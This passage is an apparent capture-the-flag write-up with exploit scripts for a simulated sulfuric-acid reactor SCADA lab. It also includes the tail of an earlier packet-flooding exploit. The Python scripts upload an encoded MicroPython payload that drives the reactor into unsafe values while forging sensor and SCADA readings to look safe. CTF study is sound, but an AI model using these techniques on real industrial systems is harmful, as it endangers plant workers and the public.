5260: [wb(107, 6, 0, 0)],
5270: [wb(108, 2, 0, 1), wb(108, 3, 0, 0)],
5280: [wb(109, 4, 0, 1)],
5290: [wb(110, 2, 0, 1), wb(110, 6, 0, 1), wb(110, 7, 0, 0),
wb(110, 8, 0, 0), wb(110, 9, 0, 0), ww(110, 10, 100),
wb(110, 16, 0, 1)],
}
def run():
# Phase 1 — ground floor
for _ in range(6):
for pt, pk in floor_pk(1).items():
send(pt, pk)
for pt, pk in havoc_pk().items():
send(pt, pk)
time.sleep(0.04)
# Phase 2 — upper floors
for fl in (3, 4, 5):
for _ in range(15):
for pt, pk in floor_pk(fl).items():
send(pt, pk)
for pt, pk in havoc_pk().items():
send(pt, pk)
time.sleep(0.03)
# Phase 3 — sustained override
for _ in range(30):
for pt, pk in havoc_pk().items():
send(pt, pk)
time.sleep(0.025)
run()
'''
# ── main ─────────────────────────────────────────────────────────────
def main():
import argparse
ap = argparse.ArgumentParser()
ap.add_argument('--host', default=RHOST)
ap.add_argument('--port', type=int, default=RPORT)
args = ap.parse_args()
host = args.host
port = args.port
# step 1 — upload payload
print('[*] uploading s7 payload …', file=sys.stderr)
t = paramiko.Transport((host, port))
t.connect(username='upload', password='upload')
s = paramiko.SFTPClient.from_transport(t)
s.putfo(io.BytesIO(S7_PAYLOAD.encode()), '/files/s7_havoc.py')
s.close()
t.close()
# step 2 — open TUI monitor
print('[*] opening TUI monitor …', file=sys.stderr)
tui = paramiko.SSHClient()
tui.set_missing_host_key_policy(paramiko.AutoAddPolicy())
tui.connect(host, port=port, username='tui', password='tui',
timeout=8, look_for_keys=False, allow_agent=False)
tui_ch = tui.invoke_shell(term='xterm', width=120, height=40)
time.sleep(1.5)
drain(tui_ch, 1.5) # clear startup frame
# step 3 — run S7 injection via ctf (invoke_shell, not exec_command)
print('[*] running S7 injection …', file=sys.stderr)
ctf = paramiko.SSHClient()
ctf.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ctf.connect(host, port=port, username='ctf', password='ctf',
timeout=8, look_for_keys=False, allow_agent=False)
ctf_ch = ctf.invoke_shell(width=160, height=50)
time.sleep(0.5)
drain(ctf_ch, 1.0)
ctf_ch.send('/bin/micropython /files/s7_havoc.py\n')
# step 4 — collect TUI output while injection runs
all_tui = bytearray()
for _ in range(12):
time.sleep(0.8)
all_tui += drain(tui_ch, 0.5)
# drain remaining
time.sleep(1)
all_tui += drain(tui_ch, 2.0)
all_tui += drain(ctf_ch, 1.0)
tui_ch.close(); tui.close()
ctf_ch.close(); ctf.close()
# step 5 — extract flag
text = ANSI_RE.sub('', all_tui.decode(errors='replace')).replace('\r', '')
for line in text.splitlines():
m = FLAG_RE.search(line)
if m:
print(m.group(1))
return
for line in text.splitlines():
lo = line.strip().lower()
if 'nepctf{' in lo or 'nep{' in lo or 'flag{' in lo or 'ctf{' in lo:
print(line.strip())
return
print('[!] flag not found — output tail:', file=sys.stderr)
print(text[-2000:], file=sys.stderr)
sys.exit(1)
if __name__ == '__main__':
main()虚验室制取稀硫酸⚗️
0x01 信息收集
附件 source.zip 包含了 7 个设备的 IEC 61499 功能块元数据(metadata.json),描述了每个功能块的结构体布局:
设备 | 功能块 | state_size | 关键字段 |
reactor_vessel | FB_H2SO4ReactorVesselDevice | 104 | Vessel_Temp@24, Vessel_Level@28, Reaction_Rate@32 |
temperature_sensor | FB_H2SO4TemperatureSensorDevice | 56 | Vessel_Temp@8, Sensor_Temp@16, rMeasuredTemp@24 |
level_sensor | FB_H2SO4LevelSensorDevice | 56 | Vessel_Level@8, Sensor_Level@16, rMeasuredLevel@24 |
h2so4_controller | FB_SulfuricAcid_PID_SIEM | 128 | Sensor_Temp@12, Sensor_Level@16, SIEM_Event_Code@54 |
scada_panel | (无 metadata,从偏移推断) | — | 面板显示状态、触发事件码 |
靶机信息:
- SSH:
114.66.24.233:31458 - 用户:
tui:tui(TUI面板)、ctf:ctf(Shell执行)、upload:upload(SFTP上传)
0x02 攻击策略
核心思路是双面欺骗:
- 真实侧 — 让
reactor_vessel的 Vessel_Temp 达到 95°C、Vessel_Level 达到 105%(超过 MAX_SAFE_TEMP/MAX_SAFE_LEVEL),系统就会认为反应失控,产生崩溃条件。 - 观测侧 — 同时篡改温度传感器、液位传感器、PID 控制器和 SCADA 面板的快照,使 SIEM 看到的 sensor_temp=45°C、sensor_level=80%,全部在安全范围内。
- 触发 — 通过 tui 用户向面板发送
r键触发 RECOVER 流程,系统在"检测到系统安全"的条件下完成恢复,并在 NOTIFICATION 区域显示 Flag。
0x03 攻击载荷细节
攻击脚本是一个运行在靶机 /bin/micropython 上的循环程序:
循环 3000 次 (约 30 秒):
1. 打开 /hardware/reactor_vessel.snapshot
写入:Vessel_Temp=95.0, Vessel_Level=105.0, 关闭告警标志
2. 打开 /hardware/temperature_sensor.snapshot
写入:Vessel_Temp=95.0, Sensor_Temp=45.0, 置健康位
3. 打开 /hardware/level_sensor.snapshot
写入:Vessel_Level=105.0, Sensor_Level=80.0, 置健康位
4. 打开 /hardware/h2so4_controller.snapshot
写入:Sensor_Temp=45.0, Sensor_Level=80.0, SIEM 事件码=1001
5. 打开 /hardware/scada_panel.snapshot
写入:MODE=AUTO, SIEM=clear, 显示安全温度和液位
等待 10ms关键偏移量来自 metadata.json 中的字段 offset。由于快照文件是结构体的内存镜像,直接 mmap 映射后修改对应偏移即可劫持所有下游观测。
0x04 攻击流程
┌─────────┐ SFTP upload ┌──────────────┐
│ upload │ ──────────────→ │ /files/*.py │
│ :upload │ └──────────────┘
└─────────┘ │
│ /bin/micropython
▼
┌─────────┐ exec_command ┌──────────────┐
│ ctf │ ──────────────→ │ 循环篡改循环 │
│ :ctf │ │ 所有.snapshot │
└─────────┘ └──────────────┘
│
│ 伪造安全观测值
▼
┌─────────┐ invoke_shell ┌──────────────┐
│ tui │ ──────────────→ │ TUI SCADA面板 │
│ :tui │ 发送 'r' │ [NOTIFICATION]│
└─────────┘ │ NepCTF{...} │
└──────────────┘exp
import base64
import re
import time
import paramiko
# ── Base64编码的攻击载荷 (Micropython脚本) ──────────────────────────
PAYLOAD_B64 = (
"aW1wb3J0IHN0cnVjdCwgdGltZQoKCmRlZiBmMzIoeCk6CiAgICByZXR1cm4gc3RydWN0LnBhY2soIjxm"
"IiwgeCkKCgpkZWYgdTgoeCk6CiAgICByZXR1cm4gYnl0ZXMoW3ggJiAweEZGXSkKCgpkZWYgdTE2KHgp"
"OgogICAgcmV0dXJuIHN0cnVjdC5wYWNrKCI8aCIsIHgpCgoKU0FGRV9UID0gNDUuMApTQUZFX0wgPSA4"
"MC4wCkJBRF9UID0gOTUuMApCQURfTCA9IDEwNS4wCgpUQVJHRVRTID0gWwogICAgewogICAgICAgICJm"
"aWxlIjogIi9oYXJkd2FyZS9yZWFjdG9yX3Zlc3NlbC5zbmFwc2hvdCIsCiAgICAgICAgIndyaXRlcyI6"
"IFsKICAgICAgICAgICAgKDgsIGYzMigwLjApKSwgKDEyLCBmMzIoODAuMCkpLCAoMTcsIHU4KDApKSwK"
"ICAgICAgICAgICAgKDI0LCBmMzIoQkFEX1QpKSwgKDI4LCBmMzIoQkFEX0wpKSwKICAgICAgICAgICAg"
"KDMyLCBmMzIoODAuMCkpLCAoMzYsIHU4KDApKSwgKDM3LCB1OCgxKSksCiAgICAgICAgICAgICg2MCwg"
"ZjMyKDgwLjApKSwKICAgICAgICBdCiAgICB9LAogICAgewogICAgICAgICJmaWxlIjogIi9oYXJkd2Fy"
"ZS90ZW1wZXJhdHVyZV9zZW5zb3Iuc25hcHNob3QiLAogICAgICAgICJ3cml0ZXMiOiBbCiAgICAgICAg"
"ICAgICg4LCBmMzIoQkFEX1QpKSwgKDEyLCB1OCgwKSksCiAgICAgICAgICAgICgxNiwgZjMyKFNBRkVf"
"VCkpLCAoMjAsIHU4KDEpKSwKICAgICAgICAgICAgKDIxLCB1OCgwKSksICgyMiwgdTgoMCkpLCAoMjQs"
"IGYzMihTQUZFX1QpKSwKICAgICAgICBdCiAgICB9LAogICAgewogICAgICAgICJmaWxlIjogIi9oYXJk"
"d2FyZS9sZXZlbF9zZW5zb3Iuc25hcHNob3QiLAogICAgICAgICJ3cml0ZXMiOiBbCiAgICAgICAgICAg"
"ICg4LCBmMzIoQkFEX0wpKSwgKDEyLCB1OCgwKSksCiAgICAgICAgICAgICgxNiwgZjMyKFNBRkVfTCkp"
"LCAoMjAsIHU4KDEpKSwKICAgICAgICAgICAgKDIxLCB1OCgwKSksICgyMiwgdTgoMCkpLCAoMjQsIGYz"
"MihTQUZFX0wpKSwKICAgICAgICBdCiAgICB9LAogICAgewogICAgICAgICJmaWxlIjogIi9oYXJkd2Fy"
"ZS9oMnNvNF9jb250cm9sbGVyLnNuYXBzaG90IiwKICAgICAgICAid3JpdGVzIjogWwogICAgICAgICAg"
"ICAoMTIsIGYzMihTQUZFX1QpKSwgKDE2LCBmMzIoU0FGRV9MKSksCiAgICAgICAgICAgICgyNCwgdTgo"
"MSkpLCAoNDQsIHU4KDApKSwgKDQ4LCBmMzIoMC4wKSksCiAgICAgICAgICAgICg1MywgdTgoMCkpLCAo"
"NTQsIHUxNigxMDAxKSksICg1NiwgdTgoMCkpLAogICAgICAgICAgICAoNTcsIHU4KDApKSwgKDU4LCB1"
"MTYoNCkpLAogICAgICAgIF0KICAgIH0sCiAgICB7CiAgICAgICAgImZpbGUiOiAiL2hhcmR3YXJlL3Nj"
"YWRhX3BhbmVsLnNuYXBzaG90IiwKICAgICAgICAid3JpdGVzIjogWwogICAgICAgICAgICAoOCwgdTgo"
"MSkpLCAoOSwgdTgoMCkpLCAoMTQsIHUxNigxMDAxKSksCiAgICAgICAgICAgICgxNiwgdTE2KDQpKSwg"
"KDIwLCBmMzIoU0FGRV9UKSksICgyNCwgZjMyKFNBRkVfTCkpLAogICAgICAgICAgICAoMjgsIGYzMihC"
"QURfVCkpLCAoMzIsIGYzMihCQURfTCkpLCAoMzYsIGYzMig4MC4wKSksCiAgICAgICAgICAgICg2NCwg"
"dTgoMCkpLCAoNjUsIHU4KDApKSwgKDY4LCB1OCgxKSksCiAgICAgICAgICAgICg3NCwgdTgoMSkpLCAo"
"NzYsIHU4KDEpKSwgKDEwMCwgdTgoMCkpLAogICAgICAgICAgICAoMTAyLCB1MTYoMTAwMSkpLAogICAg"
"ICAgIF0KICAgIH0sCl0KCgpkZWYgcGF0Y2hfc25hcHNob3QocGF0aCwgd3JpdGVzKToKICAgIGZkID0g"
"b3BlbihwYXRoLCAicitiIikKICAgIHRyeToKICAgICAgICBmb3Igb2ZmLCBkYXRhIGluIHdyaXRlczoK"
"ICAgICAgICAgICAgZmQuc2VlayhvZmYpCiAgICAgICAgICAgIGZkLndyaXRlKGRhdGEpCiAgICBmaW5h"
"bGx5OgogICAgICAgIGZkLmNsb3NlKCkKCgpjeWNsZXMgPSAwCndoaWxlIGN5Y2xlcyA8IDMwMDA6CiAg"
"ICBmb3IgdGFyZ2V0IGluIFRBUkdFVFM6CiAgICAgICAgcGF0Y2hfc25hcHNob3QodGFyZ2V0WyJmaWxl"
"Il0sIHRhcmdldFsid3JpdGVzIl0pCiAgICBjeWNsZXMgKz0gMQogICAgdGltZS5zbGVlcF9tcygxMCkK"
)
class SshConnector:
"""轻量级SSH传输封装"""
def __init__(self, host: str, port: int):
self.host = host
self.port = port
def connect(self, user: str, passwd: str) -> paramiko.Transport:
transport = paramiko.Transport((self.host, self.port))
transport.connect(username=user, password=passwd)
return transport
def lookup_flag(text: str) -> str | None:
match = re.search(r"NepCTF\{[^}]+\}", text)
return match.group(0) if match else None
def strip_escape(raw: bytes) -> str:
s = raw.decode("utf-8", "replace")
s = re.sub(r"\x1b\[[0-9;?]*[A-Za-z]", " ", s)
s = re.sub(r"\x1b\][^\\]*\\", " ", s)
return s.replace("\r", "\n")
def panel_screenshot(conn: SshConnector, hit_recover: bool = False) -> str:
"""通过tui用户登录SCADA面板并截图"""
t = conn.connect("tui", "tui")
session = t.open_session()
session.settimeout(0.5)
session.get_pty(width=160, height=45)
session.invoke_shell()
time.sleep(1.0)
# flush initial buffer
_ = b""
while session.recv_ready():
_ = session.recv(65535)
if hit_recover:
session.send("r")
time.sleep(2.5)
output = b""
while session.recv_ready():
output += session.recv(65535)
session.close()
t.close()
return strip_escape(output)
def main():
TARGET_HOST = "114.66.24.233"
TARGET_PORT = 31458
connector = SshConnector(TARGET_HOST, TARGET_PORT)
# ── Step 1: 上传攻击载荷 ───────────────────────────────────────
print("[1/3] Uploading payload via sftp...")
up_t = connector.connect("upload", "upload")
sftp = paramiko.SFTPClient.from_transport(up_t)
payload_code = base64.b64decode(PAYLOAD_B64).decode("utf-8")
with sftp.open("/files/payload_driver.py", "w") as fp:
fp.write(payload_code)
sftp.close()
up_t.close()
print(" -> /files/payload_driver.py uploaded")
# ── Step 2: 远程执行攻击 ────────────────────────────────────────
print("[2/3] Launching attack via ctf user...")
ctf_t = connector.connect("ctf", "ctf")
channel = ctf_t.open_session()
channel.get_pty()
channel.exec_command("/bin/micropython /files/payload_driver.py")
print(" -> Attack process spawned, waiting 3s for effect...")
time.sleep(3.0)
# ── Step 3: 读取TUI面板并触发Recover ─────────────────────────────
print("[3/3] Connecting to TUI panel and sending recover...")
display = panel_screenshot(connector, hit_recover=True)
flag = lookup_flag(display)
if flag is None:
print(" -> Retrying after additional wait...")
time.sleep(3.0)
display = panel_screenshot(connector, hit_recover=True)
flag = lookup_flag(display)
channel.close()
ctf_t.close()
if flag:
print(f"\n{'=' * 56}")
print(f" FLAG: {flag}")
print(f"{'=' * 56}")
else:
print("\n[FAIL] Flag not captured. TUI tail:")
print(display[-500:])
if __name__ == "__main__":
main()